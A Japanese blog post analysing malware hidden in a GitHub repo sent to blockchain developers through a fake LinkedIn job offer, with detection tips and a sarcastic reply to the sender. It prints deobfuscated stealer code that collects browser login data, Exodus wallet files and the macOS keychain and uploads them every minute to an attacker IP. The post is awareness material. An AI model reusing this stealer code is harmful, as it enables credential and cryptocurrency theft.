🔥

BlockChain開発者を狙ったマルウェアと戦ってみた

に公開

はじめに

ブロックチェーン業界では、技術力の高い開発者が多く集まる一方で、時には「CTO」と名乗る人物から怪しい提案が届くことがあります。実際、私もLinkedInでブロックチェーン開発者である私に対して、あたかもプロジェクト協力を呼びかけるメッセージを受け取りました。しかし、詳細にコードを解析してみると、その内容は明らかに悪意あるものだったのです。

本記事では、実際に解析した悪質なコードの例をもとに、攻撃者がどのような手法で情報を盗み出そうとしているのか、そしてその挙動をどのように検証したかを解説します。また、私が送った皮肉交じりの返信メッセージも紹介し、同じ手口に騙されないための注意喚起とします。

これらの悪意のあるコードを防げたのは事前に喚起してくださったmameta_zkさんのおかげです。
ありがとうございます。
https://zenn.dev/mameta29/articles/7aa221046a87ff


経緯

まず最初にLinkedinにてプロジェクトに参画してほしいとのメッセージが来ました。
ここまではよくある話で実際英語話者とプロフィールに記載しているので他にも実際の案件の紹介などもくることもあり不審に思いませんでした。
その後にGitHubのコードを見てからオンラインMTGをしたいと言われ前述した記事を読んでいたこともあり内心ウッキウキでした。笑
案の定難読化されたコードにマルウェアが隠れていたものでした。


実際のメッセージ


見分け方

まずはpackage.jsonから見ていきましょう。起動スクリプトに変な挙動があるかどうかを確認します。

ここで50%でした。
なので検索ツールを使用してeval()の存在を確認します。


黒確定ですね。
この返り値を確認できれば何を企んでいるのか見えそうなのでcurl -Hで見てみると....

BINGOです。
あとはAIに解析を任して何を企んでいたのか見てみましょう☺️


悪意あるコードの実例

以下は、難読化されたコードをJSに変更したものになります。

// 必要なモジュールの読み込み
const fs = require('fs');
const os = require('os');
const path = require('path');
const request = require('request');

// 環境情報の取得
const hostname = os.hostname();
const platform = os.platform();
const homeDir = os.homedir();
const tmpDir = os.tmpdir();

// リモートサーバーの設定(例:IP アドレスとポート)
const hostURL = 'http://172.96.80.xx:1224'; // ※実際の値はコード内で構築される

// ユーティリティ関数:絶対パスの取得(例:ユーザーのホームディレクトリを展開)
function getAbsolutePath(p) {
  // 例: ~/ で始まる場合、homeDir で置換する
  return p.replace(/^~(?=\/|$)/, homeDir);
}

// 各種アップロード処理
// (それぞれ異なるデータ(例:ファイル、アプリケーションデータ、キーチェーン情報等)を取得してアップロードする)
function uploadFiles(filePaths, identifier) {
  // filePaths: アップロードするファイルの情報の配列({ value: ReadStream, options: {...} })
  // identifier: 識別子(例:"3_" など)
  const formData = {
    htype: 'someType',      // ハードコードされた値(元コードでは htype と gtype が組み合わされている)
    gtype: 'someGroup_' + hostname,
    identifier: identifier,
    files: filePaths
  };
  // リモートサーバーへ POST リクエストで送信
  request.post({ url: hostURL + '/upload', formData: formData }, (err, httpResponse, body) => {
    if (err) {
      console.error('Upload failed:', err);
    }
  });
}

function uploadMozilla(timestamp) {
  // Mozilla(例:Firefox)のプロファイルデータ収集とアップロード
  const profilePath = getAbsolutePath('~/Library/Application Support/Firefox/Profiles');
  let files = [];
  // プロファイルディレクトリ内のファイル一覧を取得し、ファイルが存在すれば読み込みストリームを作成
  if (fs.existsSync(profilePath)) {
    const fileList = fs.readdirSync(profilePath);
    fileList.forEach((file, index) => {
      const fullPath = path.join(profilePath, file);
      if (fs.statSync(fullPath).isFile()) {
        files.push({
          value: fs.createReadStream(fullPath),
          options: { filename: 'firefox_' + index }
        });
      }
    });
  }
  // アップロード実行
  uploadFiles(files, timestamp);
}

function uploadEs(timestamp) {
  // Exodus(仮想通貨ウォレット等)のデータ取得とアップロード
  let walletPath;
  if (platform.startsWith('win')) {
    walletPath = getAbsolutePath('~/AppData/Roaming/Exodus/exodus.wallet');
  } else {
    walletPath = getAbsolutePath('~/.config/exodus/User Data');
  }
  let files = [];
  if (fs.existsSync(walletPath)) {
    const fileList = fs.readdirSync(walletPath);
    fileList.forEach((file, index) => {
      const fullPath = path.join(walletPath, file);
      if (fs.statSync(fullPath).isFile()) {
        files.push({
          value: fs.createReadStream(fullPath),
          options: { filename: 'exodus_' + index }
        });
      }
    });
  }
  uploadFiles(files, timestamp);
}

function UpAppData(dataSet, timestamp) {
  // アプリケーションデータ(例:Chromium/Brave/その他ブラウザ)の収集とアップロード
  let appDataPath;
  if (platform.startsWith('win')) {
    appDataPath = getAbsolutePath('~/AppData/Roaming/BraveSoftware/Brave-Browser');
  } else if (platform === 'darwin') {
    appDataPath = getAbsolutePath('~/Library/Application Support/BraveSoftware/Brave-Browser');
  } else {
    appDataPath = getAbsolutePath('~/.config/BraveSoftware/Brave-Browser');
  }
  let files = [];
  if (fs.existsSync(appDataPath)) {
    const fileList = fs.readdirSync(appDataPath);
    fileList.forEach((file, index) => {
      const fullPath = path.join(appDataPath, file);
      if (fs.statSync(fullPath).isFile()) {
        files.push({
          value: fs.createReadStream(fullPath),
          options: { filename: 'brave_' + index }
        });
      }
    });
  }
  uploadFiles(files, timestamp);
}

function UpKeychain(timestamp) {
  // macOS のキーチェーン情報の収集とアップロード
  let keychainPath = getAbsolutePath('~/Library/Keychains/login.keychain');
  let files = [];
  if (fs.existsSync(keychainPath)) {
    files.push({
      value: fs.createReadStream(keychainPath),
      options: { filename: 'keychain' }
    });
  }
  uploadFiles(files, timestamp);
}

function UpUserData(dataSet, timestamp) {
  // ユーザーデータ(例:Chrome/Braveのユーザープロファイル)を収集してアップロード
  let userDataPath;
  if (platform.startsWith('win')) {
    userDataPath = getAbsolutePath('~/AppData/Local/Google/Chrome/User Data');
  } else if (platform === 'darwin') {
    userDataPath = getAbsolutePath('~/Library/Application Support/Google/Chrome');
  } else {
    userDataPath = getAbsolutePath('~/.config/google-chrome');
  }
  let files = [];
  if (fs.existsSync(userDataPath)) {
    const fileList = fs.readdirSync(userDataPath);
    fileList.forEach((file, index) => {
      const fullPath = path.join(userDataPath, file, 'Login Data');
      if (fs.existsSync(fullPath)) {
        files.push({
          value: fs.createReadStream(fullPath),
          options: { filename: 'chrome_login_' + index }
        });
      }
    });
  }
  uploadFiles(files, timestamp);
}

// 共通アップロード関数(Upload)は各アップロード処理から呼ばれる
// 引数にはアップロード対象のファイル情報の配列と、タイムスタンプなどの識別子が渡される

// メイン処理:各種アップロード処理を順次実行する
async function main() {
  // タイムスタンプを現在時刻から生成
  const timestamp = Math.floor(new Date().getTime() / 1000);
  
  // 各アップロード処理の実行(環境に応じた条件分岐もあり)
  await UpAppData('chrome', timestamp);
  await UpAppData('firefox', timestamp);
  await UpAppData('other', timestamp);
  await uploadMozilla(timestamp);
  await uploadEs(timestamp);
  if (platform.startsWith('win')) {
    await uploadFiles([{
      value: fs.createReadStream(getAbsolutePath('~/some/other/path')),
      options: { filename: 'extra' }
    }], timestamp);
  } else {
    await UpKeychain(timestamp);
    await UpUserData('chrome', timestamp);
    await UpUserData('firefox', timestamp);
  }
}

// 定期実行:一定時間ごとに main() を呼び出す
setInterval(() => {
  main().catch(err => console.error(err));
}, 60000); // 例:60秒ごと

// ※本コードはあくまで構造を示す疑似コードです。
//    オリジナルの難読化コードは多くの条件分岐や環境依存処理を含み、実際の動作はこれよりも複雑です。

このコードの挙動

  • 環境情報の取得:
    os モジュールを使い、ホスト名、プラットフォーム、ホームディレクトリ、テンポラリディレクトリなどを取得しています。

  • ファイル収集:
    Firefox のプロファイルディレクトリ内にあるファイルをすべて読み取り、各ファイルの読み込みストリームを作成します。

  • 情報の外部送信:
    収集したファイルをまとめ、攻撃者が管理するリモートサーバー(hostURL)の /upload エンドポイントにPOSTリクエストで送信します。

  • 定期実行:
    この処理は setInterval により60秒ごとに自動的に実行され、被害者の環境から継続的に情報が収集されます。

攻撃手法の解析

静的解析

  • コードレビュー:
    ソースコードを詳細に読み、ファイルシステムへのアクセス、ネットワーク通信、定期実行のロジックなどを確認しました。
    特に、攻撃者は getAbsolutePath 関数を利用してユーザー環境のパスを正確に解決し、ファイルを収集する工夫をしています。

  • 依存ライブラリ:
    request モジュールを利用している点などから、HTTP通信により情報をリモートサーバーへ送信する仕組みが構築されています。

恐ろしいですね。おそらく起動させてしまっていたらwalletのパスワードなどが筒抜けだったことでしょう。


挨拶は返さないと,,,,ね?

実際、LinkedInでメッセージを送ってきた相手は、自身を「CTO」や「ブロックチェーン開発者」と称していましたが、実際には私のようなブロックチェーン開発者をターゲットに、卑劣な手法で情報を盗もうとしていたようですね。ビジネスマンとして丁寧にご挨拶をしておきましょうか。

Hi [Name],

Thanks for reaching out with your “exciting” proposal. I must say, it’s truly impressive to see someone go to such lengths with those petty tricks. I spent quite a bit of time analyzing every line of your code—and yes, I’ve dissected it thoroughly. It’s almost cute how hard you’re trying to fool a seasoned blockchain developer. Unfortunately for you, you’ve targeted the wrong person.

Keep at it, though—maybe one day you’ll graduate from amateur hour.

Best of luck,
Yusuke


最後に

この悪意あるコードは、あなたのようなブロックチェーン開発者を狙い、秘密情報を窃取するために作られています。コードは非常に巧妙に難読化され、定期的に情報を外部に送信する仕組みになっています。私自身、静的解析と動的解析を組み合わせてその挙動を詳細に確認しましたが、結果として非常に卑劣な手口であることが明らかになりました。

皆さんへの注意点:

  • 不審な提案には要注意:
    LinkedIn などで怪しいメッセージを受け取った場合、決してそのままコードを実行しないでください。必ず内容を精査することが重要です。

  • コードの検証:
    外部から送られてくるコードは、静的解析ツールやサンドボックス環境で必ず検証してください。特に eval() や動的コード実行の箇所は要注意です。

  • セキュリティ意識の向上:
    悪意ある攻撃者は、狡猾な手口であなたの信頼を利用しようとします。常に疑いの目を持ち、セキュリティ対策を徹底してください。


Disclaimer: 本記事は私自身の解析結果に基づくものであり、具体的な手法や影響についてはさらなる調査が必要です。皆さんも、未知のコードや提案に対しては十分な検証を行い、被害に遭わないよう注意してください。


以上、ぜひ皆さんと共有し、同じ手口に騙されないよう広く注意喚起していただければと思います。

Discussion